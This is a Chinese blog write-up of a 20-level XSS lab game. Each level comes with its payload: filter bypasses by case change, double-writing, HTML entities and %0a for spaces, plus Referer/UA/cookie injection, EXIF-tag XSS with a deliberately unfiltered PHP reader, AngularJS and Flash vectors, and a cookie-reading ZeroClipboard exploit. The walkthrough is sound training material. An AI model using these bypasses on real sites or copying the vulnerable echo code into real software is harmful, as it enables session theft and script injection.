XSS闯关游戏解题记录

今天在晚上看到了这个Xss的闯关,就下下来做了一下。题目比较基础(有几个还不错),但写都写了就发上来吧。正好再找一些题目顺便总结一下,以后接着更新。

题目源码:

下载:https://www.lanzous.com/i32ah6d 密码:h3fo

Level1

没有进行任何过滤,直接拼接XSS语句弹窗,进入下一关。

payload:

level1.php?name=1<script>alert('xss')</script>;

Level2

有搜索框,随便输入测试,查看源码,发现输入的值直接赋值给了value并在input标签中。我们闭合掉前后的标签就可以了。

Payload:

level2.php?keyword=111"><script>alert('xss')</script><"&submit=搜索

Level3

和level2的布局一样,输入值会作为value值放在input标签中,不同的是转义了尖括号。

但是可以使用onclick等事件来弹窗。

Payload:

1' onclick=alert('xss')//
1' oninput=alert('xss')//

Level4

==?

和L3的payload一样就过了。。(换成了双引号)

Level5

将script和on进行了replace,在单词中间插入了_。这样就过滤了script标签和一众事件触发xss。

使用a标签+javascript伪协议来触发。(javascript为什么没被替换,看了一下源码替换的是<script)

Payload:

"><a href="javascript:alert('xss')"><"

Level6

href src on <script被替换。

过滤词大写绕过。

看了一下代码,L5将输入全部转小写这个没有所以可以使用大些绕过。

Payload:

"><a HREF="javascript:alert('xss')"><"
"><Script>alert('xss')</script><"

Level7

测试后发现会讲script href等敏感词替换成空。

双写绕过。

Payload:

"><scscriptript>alert('xss')</scrscriptipt><"

Level8

输入框添加友情链接,输入值作为下面超链接a标签href的值。但是script on等敏感词被过滤了。

使用html实体编码绕过。

Payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#59;

Level9

要求输入的内容包含http://

没有要求http://在首部,所以payload如下:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#59;//http://

Level10

看源码发现有3个input标签,但类型全是hidden。通过拼接?t_link=aaa&t_history=aaa&t_sort=aaa测试发现只有t_sort这个input会获取输入值作为value值。

通过onclick事件触发xss,要更改一下type。

Payload:

?t_sort=" onclick=alert('xss') type="text"//

Level11

L10的payload中"被转义了,使用了htmlspecialchars函数处理再输出的缘故。

但是通过源码发现多了一个name为t_ref的input。

<input name="t_ref" value="http://test.xss.tv/level10.php?t_link=aaa&amp;t_history=aaa&amp;t_sort=%22%20onclick=alert(%27xss%27)%20type=%22text%22//" type="hidden">

他的值是跳转过来的上个页面的链接。抓包改referer。

Level12

得,这次改UA。

Level13

得,改cookie

Level14

Exif Xss

因为题目通过iframe嵌套了http://www.exifviewer.org/但是这个网站需要登录。其实就是显示exif信息。所以自己写了一个来复现一下。

<h1>Test EXIF XSS</h1>
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" id="File" name="file"/>
    <input type="submit"  name="submit" value="submit">
</form>
<?php
//error_reporting(0);
if(isset($_POST['submit'])){
    $file = $_FILES['file'];
    $filetmps = $file['tmp_name'];

    $exif = exif_read_data($file['tmp_name'], 0, true);

    foreach ($exif as $key => $section) {
        foreach ($section as $name => $val) {
            echo "$key.$name: $val<br />\n";
        }
    }
}
?>

通过exiftool来制作一张伪造exif的图片。(如下修改了Artist)

exiftool -Artist=' "><img src=1 onerror=alert("xss")>' logo.jpg

通过php的exif_read_data函数读出exif信息,读出的值直接未经过滤的输出,就会导致Xss的发生。

Level15

通过页面源码的head信息发现引入了AngularJS,考虑AngularJS框架的xss利用。

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

可以发现版本为1.2.0,试了试发现了一行<!-- ngInclude: undefined -->,发现这是使用了AngularJS的 ng-include 指令来包含文件。

在本机写一个包含XSS代码的html文件,去包含。

<input type="text" name="" onclick=alert('xss')>

Payload:

http://localhost/xss_game/level15.php?src="http://localhost/index.html"

效果:

AngularJS是一个谷歌开发的MVC客户端框架。使用AngularJS可以对包涵有ng-app标签的模版进行客户端的渲染他可以通过插入一个特定的标签,然后对这个标签内的内容进行解析,达到渲染模版的效果,正是因为这个特性,所以导致了我们不需要使用html标签,只能要我们输入的内容能够输出在ng-app标签内就可以配合AngularJS的标签来进行xss。

本题的AngularJS利用还是比较简单的,还没有需要绕过进行xss。

Level16

输入值被放在center标签中了。尝试使用img标签弹窗。

<img src='1' onerror=alert('xss')>

查看源码发现空格被转义了,绕过空格的过滤。

localhost/xss_game/level16.php?keyword=<img%0asrc='1'%0aonerror=alert('xss')>

Level17

有个flash,但是和flash没啥关系。在embed标签中插入触发事件。

Payload:

http://localhost/xss_game/level17.php?arg01=q&arg02=q onmouseover=alert('xss')

题目代码是这么写的:

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

Level18

Emmm,L17的payload直接过了。

Level19

flash的xss

使用FFDec反编译xsf03.swf文件。

有地方用到了geturl函数,利用这个函数能自动打开指定的网页。下面看怎么利用。

然后追踪到sIFR的位置。从下面这段代码可以看出version值赋给了_loc4_,试了一下arg01=version&arg02=aaa发现其中一段值变成aaa.也就是获取的值输出了。

 if(_loc5_ && _root.version != sIFR.VERSION)
      {
         _loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
      }

因为getURL只在内容为link时打开,所以分析contentIsLink函数。

function contentIsLink()
   {
      return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
   }

那我们就通过a标签来触发xss。

Payload:

http://localhost/xss_game/level19.php?arg01=version&arg02=<a href="javascript:alert('xss')">xss</a>

Level20

拖到FFDec看一下,发现了zeroclipboard.swf.

​ 搜索后发现是zeroclipboard.swf的漏洞,详见CVE-2013-1808

Payload:

http://localhost/xss_game/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

https://www.anquanke.com/vul/id/1168940